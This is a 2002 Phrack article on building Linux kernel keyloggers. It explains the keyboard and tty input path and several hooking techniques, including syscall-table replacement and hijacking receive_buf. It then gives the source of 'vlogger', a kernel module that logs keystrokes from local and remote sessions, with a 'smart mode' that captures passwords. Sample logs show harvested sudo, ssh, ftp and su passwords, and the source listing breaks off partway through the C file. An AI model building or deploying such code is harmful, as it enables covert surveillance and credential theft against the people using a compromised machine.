writing-linux-kernel-keylogger.txt 41 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651
  1. ==Phrack Inc.==
  2. Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
  3. |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=------------------------=[ rd <rd@thc.org> ]=--------------------------=|
  6. |=------------------------=[ June 19th, 2002 ]=--------------------------=|
  7. --[ Contents
  8. 1 - Introduction
  9. 2 - How Linux keyboard driver work
  10. 3 - Kernel based keylogger approaches
  11. 3.1 - Interrupt handler
  12. 3.2 - Function hijacking
  13. 3.2.1 - handle_scancode
  14. 3.2.2 - put_queue
  15. 3.2.3 - receive_buf
  16. 3.2.4 - tty_read
  17. 3.2.5 - sys_read/sys_write
  18. 4 - vlogger
  19. 4.1 - The syscall/tty approach
  20. 4.2 - Features
  21. 4.3 - How to use
  22. 5 - Greets
  23. 6 - References
  24. 7 - Keylogger source
  25. --[ 1 - Introduction
  26. This article is divided into two parts. The first part of the paper
  27. gives an overview on how the linux keyboard driver work, and discusses
  28. methods that can be used to create a kernel based keylogger. This part
  29. will be useful for those who want to write a kernel based keylogger, or to
  30. write their own keyboard driver (for supporting input of non-supported
  31. language in linux environment, ...) or to program taking advantage of many
  32. features in the Linux keyboard driver.
  33. The second part presents detail of vlogger, a smart kernel based linux
  34. keylogger, and how to use it. Keylogger is a very interesting code being
  35. used widely in honeypots, hacked systems, ... by white and black hats. As
  36. most of us known, besides user space keyloggers (such as iob, uberkey,
  37. unixkeylogger, ...), there are some kernel based keyloggers. The earliest
  38. kernel based keylogger is linspy of halflife which was published in Phrack
  39. 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
  40. Keylogger' paper by mercenary (see [7]) that I found when was writing this
  41. paper. The common method of those kernel based keyloggers using is to log
  42. user keystrokes by intercepting sys_read or sys_write system call.
  43. However, this approach is quite unstable and slowing down the whole system
  44. noticeably because sys_read (or sys_write) is the generic read/write
  45. function of the system; sys_read is called whenever a process wants to read
  46. something from devices (such as keyboard, file, serial port, ...). In
  47. vlogger, I used a better way to implement it that hijacks the tty buffer
  48. processing function.
  49. The reader is supposed to possess the knowledge on Linux Loadable Kernel
  50. Module. Articles [1] and [2] are recommended to read before further
  51. reading.
  52. --[ 2 - How Linux keyboard driver work
  53. Lets take a look at below figure to know how user inputs from console
  54. keyboard are processed:
  55. _____________ _________ _________
  56. / \ put_queue| |receive_buf| |tty_read
  57. /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
  58. \ / | | |buffer |
  59. \_____________/ |_________| |_________|
  60. _________ ____________
  61. | |sys_read| |
  62. --->|/dev/ttyX|------->|user process|
  63. | | | |
  64. |_________| |____________|
  65. Figure 1
  66. First, when you press a key on the keyboard, the keyboard will send
  67. corresponding scancodes to keyboard driver. A single key press can produce
  68. a sequence of up to six scancodes.
  69. The handle_scancode() function in the keyboard driver parses the stream
  70. of scancodes and converts it into a series of key press and key release
  71. events called keycode by using a translation-table via kbd_translate()
  72. function. Each key is provided with a unique keycode k in the range 1-127.
  73. Pressing key k produces keycode k, while releasing it produces keycode
  74. k+128.
  75. For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
  76. Releasing 'a' produces keycode 158 (128+30).
  77. Next, keycodes are converted to key symbols by looking them up on the
  78. appropriate keymap. This is a quite complex process. There are eight
  79. possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
  80. ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
  81. and locks determines the keymap used.
  82. After the above handling, the obtained characters are put into the raw
  83. tty queue - tty_flip_buffer.
  84. In the tty line discipline, receive_buf() function is called periodically
  85. to get characters from tty_flip_buffer then put them into tty read queue.
  86. When user process want to get user input, it calls read() function on
  87. stdin of the process. sys_read() function will calls read() function
  88. defined in file_operations structure (which is pointed to tty_read) of
  89. corresponding tty (ex /dev/tty0) to read input characters and return to the
  90. process.
  91. The keyboard driver can be in one of 4 modes:
  92. - scancode (RAW MODE): the application gets scancodes for input.
  93. It is used by applications that implement their own keyboard
  94. driver (ex: X11)
  95. - keycode (MEDIUMRAW MODE): the application gets information on
  96. which keys (identified by their keycodes) get pressed and
  97. released.
  98. - ASCII (XLATE MODE): the application effectively gets the
  99. characters as defined by the keymap, using an 8-bit encoding.
  100. - Unicode (UNICODE MODE): this mode only differs from the ASCII
  101. mode by allowing the user to compose UTF8 unicode characters by
  102. their decimal value, using Ascii_0 to Ascii_9, or their
  103. hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
  104. be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
  105. where each X is an hexadecimal digit).
  106. Those modes influence what type of data that applications will get as
  107. keyboard input. For more details on scancode, keycode and keymaps, please
  108. read [3].
  109. --[ 3 - Kernel based keylogger approaches
  110. We can implement a kernel based keylogger in two ways by writing our own
  111. keyboard interrupt handler or hijacking one of input processing functions.
  112. ----[ 3.1 - Interrupt handler
  113. To log keystrokes, we will use our own keyboard interrupt handler. Under
  114. Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
  115. receives a keyboard interrupt, our own keyboard interrupt handler read the
  116. scancode and keyboard status. Keyboard events can be read and written via
  117. port 0x60(Keyboard data register) and 0x64(Keyboard status register).
  118. /* below code is intel specific */
  119. #define KEYBOARD_IRQ 1
  120. #define KBD_STATUS_REG 0x64
  121. #define KBD_CNTL_REG 0x64
  122. #define KBD_DATA_REG 0x60
  123. #define kbd_read_input() inb(KBD_DATA_REG)
  124. #define kbd_read_status() inb(KBD_STATUS_REG)
  125. #define kbd_write_output(val) outb(val, KBD_DATA_REG)
  126. #define kbd_write_command(val) outb(val, KBD_CNTL_REG)
  127. /* register our own IRQ handler */
  128. request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
  129. In my_keyboard_irq_handler():
  130. scancode = kbd_read_input();
  131. key_status = kbd_read_status();
  132. log_scancode(scancode);
  133. This method is platform dependent. So it won't be portable among
  134. platforms. And you have to be very careful with your interrupt handler if
  135. you don't want to crash your box ;)
  136. ----[ 3.2 - Function hijacking
  137. Based on the Figure 1, we can implement our keylogger to log user inputs
  138. by hijacking one of handle_scancode(), put_queue(), receive_buf(),
  139. tty_read() and sys_read() functions. Note that we can't intercept
  140. tty_insert_flip_char() function because it is an INLINE function.
  141. ------[ 3.2.1 - handle_scancode
  142. This is the entry function of the keyboard driver (see keyboard.c). It
  143. handles scancodes which are received from keyboard.
  144. # /usr/src/linux/drives/char/keyboard.c
  145. void handle_scancode(unsigned char scancode, int down);
  146. We can replace original handle_scancode() function with our own to logs
  147. all scancodes. But handle_scancode() function is not a global and exported
  148. function. So to do this, we can use kernel function hijacking technique
  149. introduced by Silvio (see [5]).
  150. /* below is a code snippet written by Plasmoid */
  151. static struct semaphore hs_sem, log_sem;
  152. static int logging=1;
  153. #define CODESIZE 7
  154. static char hs_code[CODESIZE];
  155. static char hs_jump[CODESIZE] =
  156. "\xb8\x00\x00\x00\x00" /* movl $0,%eax */
  157. "\xff\xe0" /* jmp *%eax */
  158. ;
  159. void (*handle_scancode) (unsigned char, int) =
  160. (void (*)(unsigned char, int)) HS_ADDRESS;
  161. void _handle_scancode(unsigned char scancode, int keydown)
  162. {
  163. if (logging && keydown)
  164. log_scancode(scancode, LOGFILE);
  165. /*
  166. * Restore first bytes of the original handle_scancode code. Call
  167. * the restored function and re-restore the jump code. Code is
  168. * protected by semaphore hs_sem, we only want one CPU in here at a
  169. * time.
  170. */
  171. down(&hs_sem);
  172. memcpy(handle_scancode, hs_code, CODESIZE);
  173. handle_scancode(scancode, keydown);
  174. memcpy(handle_scancode, hs_jump, CODESIZE);
  175. up(&hs_sem);
  176. }
  177. HS_ADDRESS is set by the Makefile executing this command
  178. HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
  179. Similar to method presented in 3.1, the advantage of this method is the
  180. ability to log keystrokes under X and the console, no matter if a tty is
  181. invoked or not. And you will know exactly what key is pressed on the
  182. keyboard (including special keys such as Control, Alt, Shift, Print Screen,
  183. ...). But this method is platform dependent and won't be portable among
  184. platforms. This method also can't log keystroke of remote sessions and is
  185. quite complex for building an advance logger.
  186. ------[ 3.2.2 - put_queue
  187. This function is called by handle_scancode() function to put characters
  188. into tty_queue.
  189. # /usr/src/linux/drives/char/keyboard.c
  190. void put_queue(int ch);
  191. To intercept this function, we can use the above technique as in section
  192. (3.2.1).
  193. ------[ 3.2.3 - receive_buf
  194. receive_buf() function is called by the low-level tty driver to send
  195. characters received by the hardware to the line discipline for processing.
  196. # /usr/src/linux/drivers/char/n_tty.c */
  197. static void n_tty_receive_buf(struct tty_struct *tty, const
  198. unsigned char *cp, char *fp, int count)
  199. cp is a pointer to the buffer of input character received by the device.
  200. fp is a pointer to a pointer of flag bytes which indicate whether a
  201. character was received with a parity error, etc.
  202. Lets take a deeper look into tty structures
  203. # /usr/include/linux/tty.h
  204. struct tty_struct {
  205. int magic;
  206. struct tty_driver driver;
  207. struct tty_ldisc ldisc;
  208. struct termios *termios, *termios_locked;
  209. ...
  210. }
  211. # /usr/include/linux/tty_ldisc.h
  212. struct tty_ldisc {
  213. int magic;
  214. char *name;
  215. ...
  216. void (*receive_buf)(struct tty_struct *,
  217. const unsigned char *cp, char *fp, int count);
  218. int (*receive_room)(struct tty_struct *);
  219. void (*write_wakeup)(struct tty_struct *);
  220. };
  221. To intercept this function, we can save the original tty receive_buf()
  222. function then set ldisc.receive_buf to our own new_receive_buf() function
  223. in order to logging user inputs.
  224. Ex: to log inputs on the tty0
  225. int fd = open("/dev/tty0", O_RDONLY, 0);
  226. struct file *file = fget(fd);
  227. struct tty_struct *tty = file->private_data;
  228. old_receive_buf = tty->ldisc.receive_buf;
  229. tty->ldisc.receive_buf = new_receive_buf;
  230. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  231. char *fp, int count)
  232. {
  233. logging(tty, cp, count); //log inputs
  234. /* call the original receive_buf */
  235. (*old_receive_buf)(tty, cp, fp, count);
  236. }
  237. ------[ 3.2.4 - tty_read
  238. This function is called when a process wants to read input characters
  239. from a tty via sys_read() function.
  240. # /usr/src/linux/drives/char/tty_io.c
  241. static ssize_t tty_read(struct file * file, char * buf, size_t count,
  242. loff_t *ppos)
  243. static struct file_operations tty_fops = {
  244. llseek: tty_lseek,
  245. read: tty_read,
  246. write: tty_write,
  247. poll: tty_poll,
  248. ioctl: tty_ioctl,
  249. open: tty_open,
  250. release: tty_release,
  251. fasync: tty_fasync,
  252. };
  253. To log inputs on the tty0:
  254. int fd = open("/dev/tty0", O_RDONLY, 0);
  255. struct file *file = fget(fd);
  256. old_tty_read = file->f_op->read;
  257. file->f_op->read = new_tty_read;
  258. ------[ 3.2.5 - sys_read/sys_write
  259. We will intercept sys_read/sys_write system calls to redirect it to our
  260. own code which logs the content of the read/write calls. This method was
  261. presented by halflife in Phrack 50 (see [4]). I highly recommend reading
  262. that paper and a great article written by pragmatic called "Complete Linux
  263. Loadable Kernel Modules" (see [2]).
  264. The code to intercept sys_read/sys_write will be something like this:
  265. extern void *sys_call_table[];
  266. original_sys_read = sys_call_table[__NR_read];
  267. sys_call_table[__NR_read] = new_sys_read;
  268. --[ 4 - vlogger
  269. This part will introduce my kernel keylogger which is used method
  270. described in section 3.2.3 to acquire more abilities than common keyloggers
  271. used sys_read/sys_write systemcall replacement approach. I have tested the
  272. code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
  273. 2.4.18.
  274. ----[ 4.1 - The syscall/tty approach
  275. To logging both local (logged from console) and remote sessions, I chose
  276. the method of intercepting receive_buf() function (see 3.2.3).
  277. In the kernel, tty_struct and tty_queue structures are dynamically
  278. allocated only when the tty is open. Thus, we also have to intercept
  279. sys_open syscall to dynamically hooking the receive_buf() function of each
  280. tty or pty when it's invoked.
  281. // to intercept open syscall
  282. original_sys_open = sys_call_table[__NR_open];
  283. sys_call_table[__NR_open] = new_sys_open;
  284. // new_sys_open()
  285. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  286. {
  287. ...
  288. // call the original_sys_open
  289. ret = (*original_sys_open)(filename, flags, mode);
  290. if (ret >= 0) {
  291. struct tty_struct * tty;
  292. ...
  293. file = fget(ret);
  294. tty = file->private_data;
  295. if (tty != NULL &&
  296. ...
  297. tty->ldisc.receive_buf != new_receive_buf) {
  298. ...
  299. // save the old receive_buf
  300. old_receive_buf = tty->ldisc.receive_buf;
  301. ...
  302. /*
  303. * init to intercept receive_buf of this tty
  304. * tty->ldisc.receive_buf = new_receive_buf;
  305. */
  306. init_tty(tty, TTY_INDEX(tty));
  307. }
  308. ...
  309. }
  310. // our new receive_buf() function
  311. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  312. char *fp, int count)
  313. {
  314. if (!tty->real_raw && !tty->raw) // ignore raw mode
  315. // call our logging function to log user inputs
  316. vlogger_process(tty, cp, count);
  317. // call the original receive_buf
  318. (*old_receive_buf)(tty, cp, fp, count);
  319. }
  320. ----[ 4.2 - Features
  321. - Logs both local and remote sessions (via tty & pts)
  322. - Separate logging for each tty/session. Each tty has their own logging
  323. buffer.
  324. - Nearly support all special chars such as arrow keys (left, right, up,
  325. down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
  326. Home, Page Up, Page Down, BackSpace, ...
  327. - Support some line editing keys included CTRL-U and BackSpace.
  328. - Timestamps logging, timezone supported (ripped off some codes from
  329. libc).
  330. - Multiple logging modes
  331. o dumb mode: logs all keystrokes
  332. o smart mode: detects password prompt automatically to log
  333. user/password only. I used the similar technique presented in
  334. "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
  335. Designer and Dug Song (see [6]). When the application turns input
  336. echoing off, we assume that it is for entering a password.
  337. o normal mode: disable logging
  338. You can switch between logging modes by using a magic password.
  339. #define VK_TOGLE_CHAR 29 // CTRL-]
  340. #define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
  341. // then press VK_TOGLE_CHAR key
  342. ----[ 4.3 - How to use
  343. Change the following options
  344. // directory to store log files
  345. #define LOG_DIR "/tmp/log"
  346. // your local timezone
  347. #define TIMEZONE 7*60*60 // GMT+7
  348. // your magic password
  349. #define MAGIC_PASS "31337"
  350. Below is how the log file looks like:
  351. [root@localhost log]# ls -l
  352. total 60
  353. -rw------- 1 root root 633 Jun 19 20:59 pass.log
  354. -rw------- 1 root root 37593 Jun 19 18:51 pts11
  355. -rw------- 1 root root 56 Jun 19 19:00 pts20
  356. -rw------- 1 root root 746 Jun 19 20:06 pts26
  357. -rw------- 1 root root 116 Jun 19 19:57 pts29
  358. -rw------- 1 root root 3219 Jun 19 21:30 tty1
  359. -rw------- 1 root root 18028 Jun 19 20:54 tty2
  360. ---in dumb mode
  361. [root@localhost log]# head tty2 // local session
  362. <19/06/2002-20:53:47 uid=501 bash> pwd
  363. <19/06/2002-20:53:51 uid=501 bash> uname -a
  364. <19/06/2002-20:53:53 uid=501 bash> lsmod
  365. <19/06/2002-20:53:56 uid=501 bash> pwd
  366. <19/06/2002-20:54:05 uid=501 bash> cd /var/log
  367. <19/06/2002-20:54:13 uid=501 bash> tail messages
  368. <19/06/2002-20:54:21 uid=501 bash> cd ~
  369. <19/06/2002-20:54:22 uid=501 bash> ls
  370. <19/06/2002-20:54:29 uid=501 bash> tty
  371. <19/06/2002-20:54:29 uid=501 bash> [UP]
  372. [root@localhost log]# tail pts11 // remote session
  373. <19/06/2002-18:48:27 uid=0 bash> cd new
  374. <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
  375. <19/06/2002-18:48:21 uid=0 bash> lsmod
  376. <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
  377. <19/06/2002-18:48:28 uid=0 bash> ls -l
  378. <19/06/2002-18:48:30 uid=0 bash> tail pts11
  379. <19/06/2002-18:48:38 uid=0 bash> [UP] | more
  380. <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
  381. <19/06/2002-18:50:48 uid=0 vi> :q
  382. <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
  383. ---in smart mode
  384. [root@localhost log]# cat pass.log
  385. [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
  386. USER/CMD sudo traceroute yahoo.com
  387. PASS 5hgt6d
  388. PASS
  389. [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
  390. USER/CMD ssh guest@host.com
  391. PASS guest
  392. [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
  393. USER/CMD open ftp.ilog.fr
  394. USER Anonymous
  395. PASS heh@heh
  396. [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
  397. USER/CMD su -
  398. PASS asdf1234
  399. Please check http://www.thc.org/ for update on the new version
  400. of this tool.
  401. --[ 5 - Greets
  402. Thanks to plasmoid, skyper for your very useful comments
  403. Greets to THC, vnsecurity and all friends
  404. Finally, thanks to mr. thang for english corrections
  405. --[ 6 - References
  406. [1] Linux Kernel Module Programming
  407. http://www.tldp.org/LDP/lkmpg/
  408. [2] Complete Linux Loadable Kernel Modules - Pragmatic
  409. http://www.thc.org/papers/LKM_HACKING.html
  410. [3] The Linux keyboard driver - Andries Brouwer
  411. http://www.linuxjournal.com/lj-issues/issue14/1080.html
  412. [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
  413. http://www.phrack.com/phrack/50/P50-05
  414. [5] Kernel function hijacking - Silvio Cesare
  415. http://www.big.net.au/~silvio/kernel-hijack.txt
  416. [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
  417. http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
  418. [7] Kernel Based Keylogger - Mercenary
  419. http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
  420. --[ 7 - Keylogger sources
  421. <++> vlogger/Makefile
  422. #
  423. # vlogger 1.0 by rd
  424. #
  425. # LOCAL_ONLY logging local session only. Doesn't intercept
  426. # sys_open system call
  427. # DEBUG Enable debug. Turn on this options will slow
  428. # down your system
  429. #
  430. KERNELDIR =/usr/src/linux
  431. include $(KERNELDIR)/.config
  432. MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
  433. MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
  434. CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
  435. -Wstrict-prototypes -fomit-frame-pointer -pipe \
  436. -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
  437. -malign-functions=2
  438. all : vlogger.o
  439. vlogger.o: vlogger.c
  440. $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
  441. clean:
  442. rm -f *.o
  443. <-->
  444. <++> vlogger/vlogger.c
  445. /*
  446. * vlogger 1.0
  447. *
  448. * Copyright (C) 2002 rd <rd@vnsecurity.net>
  449. *
  450. * Please check http://www.thc.org/ for update
  451. *
  452. * This program is free software; you can redistribute it and/or modify
  453. * it under the terms of the GNU General Public License as published by
  454. * the Free Software Foundation; either version 2 of the License, or
  455. * (at your option) any later version
  456. *
  457. * This program is distributed in the hope that it will be useful, but
  458. * WITHOUT ANY WARRANTY; without even the implied warranty of
  459. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  460. * General Public License for more details.
  461. *
  462. * Greets to THC & vnsecurity
  463. *
  464. */
  465. #define __KERNEL_SYSCALLS__
  466. #include <linux/version.h>
  467. #include <linux/module.h>
  468. #include <linux/kernel.h>
  469. #include <linux/smp_lock.h>
  470. #include <linux/sched.h>
  471. #include <linux/unistd.h>
  472. #include <linux/string.h>
  473. #include <linux/file.h>
  474. #include <asm/uaccess.h>
  475. #include <linux/proc_fs.h>
  476. #include <asm/errno.h>
  477. #include <asm/io.h>
  478. #ifndef KERNEL_VERSION
  479. #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
  480. #endif
  481. #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
  482. MODULE_LICENSE("GPL");
  483. MODULE_AUTHOR("rd@vnsecurity.net");
  484. #endif
  485. #define MODULE_NAME "vlogger "
  486. #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
  487. #ifdef DEBUG
  488. #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
  489. #else
  490. #define DPRINT(format, args...)
  491. #endif
  492. #define N_TTY_NAME "tty"
  493. #define N_PTS_NAME "pts"
  494. #define MAX_TTY_CON 8
  495. #define MAX_PTS_CON 256
  496. #define LOG_DIR "/tmp/log"
  497. #define PASS_LOG LOG_DIR "/pass.log"
  498. #define TIMEZONE 7*60*60 // GMT+7
  499. #define ESC_CHAR 27
  500. #define BACK_SPACE_CHAR1 127 // local
  501. #define BACK_SPACE_CHAR2 8 // remote
  502. #define VK_TOGLE_CHAR 29 // CTRL-]
  503. #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
  504. // VK_TOGLE_CHAR
  505. #define VK_NORMAL 0
  506. #define VK_DUMBMODE 1
  507. #define VK_SMARTMODE 2
  508. #define DEFAULT_MODE VK_DUMBMODE
  509. #define MAX_BUFFER 256
  510. #define MAX_SPECIAL_CHAR_SZ 12
  511. #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
  512. + (tty)->driver.name_base
  513. #define TTY_INDEX(tty) tty->driver.type == \
  514. TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
  515. TTY_NUMBER(tty):TTY_NUMBER(tty)
  516. #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
  517. #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
  518. buf, count)
  519. #define TTY_NAME(tty) (tty->driver.type == \
  520. TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
  521. tty->driver.type == TTY_DRIVER_TYPE_PTY && \
  522. tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
  523. #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
  524. #define END_KMEM set_fs(old_fs); }
  525. extern void *sys_call_table[];
  526. int errno;
  527. struct tlogger {
  528. struct tty_struct *tty;
  529. char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
  530. int lastpos;
  531. int status;
  532. int pass;
  533. };
  534. struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
  535. void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
  536. char *, int);
  537. asmlinkage int (*original_sys_open)(const char *, int, int);
  538. int vlogger_mode = DEFAULT_MODE;
  539. /* Prototypes */
  540. static inline void init_tty(struct tty_struct *, int);
  541. /*
  542. static char *_tty_make_name(struct tty_struct *tty,
  543. const char *name, char *buf)
  544. {
  545. int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
  546. if (!tty)
  547. strcpy(buf, "NULL tty");
  548. else
  549. sprintf(buf, name,
  550. idx + tty->driver.name_base);
  551. return buf;
  552. }
  553. char *tty_name(struct tty_struct *tty, char *buf)
  554. {
  555. return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
  556. }
  557. */
  558. #define SECS_PER_HOUR (60 * 60)
  559. #define SECS_PER_DAY (SECS_PER_HOUR * 24)
  560. #define isleap(year) \
  561. ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
  562. #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
  563. #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
  564. struct vtm {
  565. int tm_sec;
  566. int tm_min;
  567. int tm_hour;
  568. int tm_mday;
  569. int tm_mon;
  570. int tm_year;
  571. };
  572. /*
  573. * Convert from epoch to date
  574. */
  575. int epoch2time (const time_t *t, long int offset, struct vtm *tp)
  576. {
  577. static const unsigned short int mon_yday[2][13] = {
  578. /* Normal years. */
  579. { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
  580. /* Leap years. */
  581. { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
  582. };
  583. long int days, rem, y;
  584. const unsigned short int *ip;
  585. days = *t / SECS_PER_DAY;
  586. rem = *t % SECS_PER_DAY;
  587. rem += offset;
  588. while (rem < 0) {
  589. rem += SECS_PER_DAY;
  590. --days;
  591. }
  592. while (rem >= SECS_PER_DAY) {
  593. rem -= SECS_PER_DAY;
  594. ++days;
  595. }
  596. tp->tm_hour = rem / SECS_PER_HOUR;
  597. rem %= SECS_PER_HOUR;
  598. tp->tm_min = rem / 60;
  599. tp->tm_sec = rem % 60;
  600. y = 1970;
  601. while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
  602. long int yg = y + days / 365 - (days % 365 < 0);
  603. days -= ((yg - y) * 365
  604. + LEAPS_THRU_END_OF (yg - 1)
  605. - LEAPS_THRU_END_OF (y - 1));
  606. y = yg;
  607. }
  608. tp->tm_year = y - 1900;
  609. if (tp->tm_year != y - 1900)
  610. return 0;
  611. ip = mon_yday[isleap(y)];
  612. for (y = 11; days < (long int) ip[y]; --y)
  613. continue;
  614. days -= ip[y];
  615. tp->tm_mon = y;
  616. tp->tm_mday = days + 1;
  617. return 1;
  618. }
  619. /*
  620. * Get current date & time
  621. */
  622. void get_time (char *date_time)
  623. {
  624. struct timeval tv;
  625. time_t t;
  626. struct vtm tm;
  627. do_gettimeofday(&tv);
  628. t = (time_t)tv.tv_sec;
  629. epoch2time(&t, TIMEZONE, &tm);
  630. sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
  631. tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
  632. tm.tm_sec);
  633. }
  634. /*
  635. * Get task structure from pgrp id
  636. */
  637. inline struct task_struct *get_task(pid_t pgrp)
  638. {
  639. struct task_struct *task = current;
  640. do {
  641. if (task->pgrp == pgrp) {
  642. return task;
  643. }
  644. task = task->next_task;
  645. } while (task != current);
  646. return NULL;
  647. }
  648. #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
